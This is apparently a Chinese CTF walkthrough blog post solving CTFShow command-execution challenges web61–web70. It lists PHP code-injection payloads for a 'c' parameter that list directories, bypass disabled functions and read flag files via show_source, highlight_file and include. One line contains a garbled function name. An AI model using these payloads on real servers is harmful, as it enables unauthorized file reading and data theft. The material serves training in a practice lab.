大家好,这里是KOKO师傅~
今天和大家一起来继续做CTFShow关于命令执行的题目!
web61
我们先看题目:
可能是有需要用到的函数被禁用了!打开环境后可以看到代码:
我们给c传参查看一下禁用的函数目录:
c=print_r(scandir('.'));#查看当前目录
c=print_r(scandir('/'));#查看根目录
c=print_r(glob('*'));#查看当前目录
c=print_r(glob('/*'));#查看根目录
c=var_dump(scandir('.'));#查看当前目录
c=var_dump(scandir('/'));#查看根目录
c=var_dump(glob('*'));#查看当前目录
c=var_dump(glob('/*'));#查看根目录
c=var_export(scandir('.'));#查看当前目录
c=var_export(scandir('/'));#查看根目录
c=var_export(glob('*'));#查看当前目录
c=var_exportdump(glob('/*'));#查看根目录
#查看当前目录
c=print_r(scandir(current(localeconv())));
c=print_r(scandir(pos(localeconv())));#pos是current的别名,localeconv()返回的数组中第一个值为'.'
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));#读取数组倒数第二个元素
?c=show_source(current(array_reverse(scandir(getcwd()))));#flag在最后一个文件
因此我们可以构造payload:
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');
传参后即可得到flag:
web62
我们看到题目可以知道又是有关禁用函数的题目:
我们可以沿用之前的payload:
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');
传参后得到flag:
web63
同样是禁用函数的题目:
我们依旧可以沿用之前的payload:
c=include('flag.php');echo $flag;
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
传参后得到flag:
web64
我们打开环境可以看到源码:
之前构造的payload依然是可以用的:
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());
传参后即可得到flag:
web65
依旧是禁用函数的题目~
之前构造的payload依旧是成功的:
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=highlight_file('flag.php');
c=show_source('flag.php');
c=include('flag.php');var_dump(get_defined_vars());
传参得到flag:
web66
这次看看禁用的范围会不会扩大:
这次发现之前的payload不能用了,而且一直用的show_source()
也被禁了:
因此我们用之前的读取目录语句发现在根目录里:
因此我们构造payload:
c=highlight_file('/flag.txt');
#highlight_file()函数是PHP中的一个内置函数,用于突出显示文件的语法。通过使用HTML标记突出显示语法。
#用法:
#highlight_file( $filename, $return )
#参数:该函数接受上述和以下描述的两个参数:
#$filename:它是必填参数。它指定要显示其内容的文件。
#$return:它是可选的布尔值参数。其默认值为FALSE。如果将其设置为TRUE,则该函数将以字符串形式返回突出显示的代码,而不是将其打印出来。
#返回值:成功返回TRUE,失败返回FALSE。如果$return设置为TRUE,它将以字符串形式返回突出显示的代码。
#注意:
#此功能在PHP 4.0.0和更高版本上可用。
#可以通过ini_set()函数或在php.ini文件中设置用于突出显示PHP语法的颜色。
#使用此功能,将显示整个文件,其中可能包含敏感数据,例如密码等。
传参后可得flag:
web67
我们打开环境,这次看看会有什么区别没~
发现是可以沿用上题的payload的:
c=highlight_file('/flag.txt');
传参后即可得到flag:
web68
这次的禁用函数题我们继续试试之前的payload是否可行:
这次打开就是直接表明highlight_file()
被禁用了!
那我们查看根目录:
查看根目录可以发现flag还是在根目录下,但是highlight_file()
被禁用了,那我们试试用include()
函数构造payload:
c=include('/flag.txt');
传参得到flag:
web69
这次看看是否和web68一样:
我们试试之前的payload:
c=include('/flag.txt');
传参得到flag:
web70
我们打开环境看看会不会有不同的:
让我们试试之前用来构造payload的函数会不会被禁用:
c=include('/flag.txt');
传参得到flag,说明没有被禁用: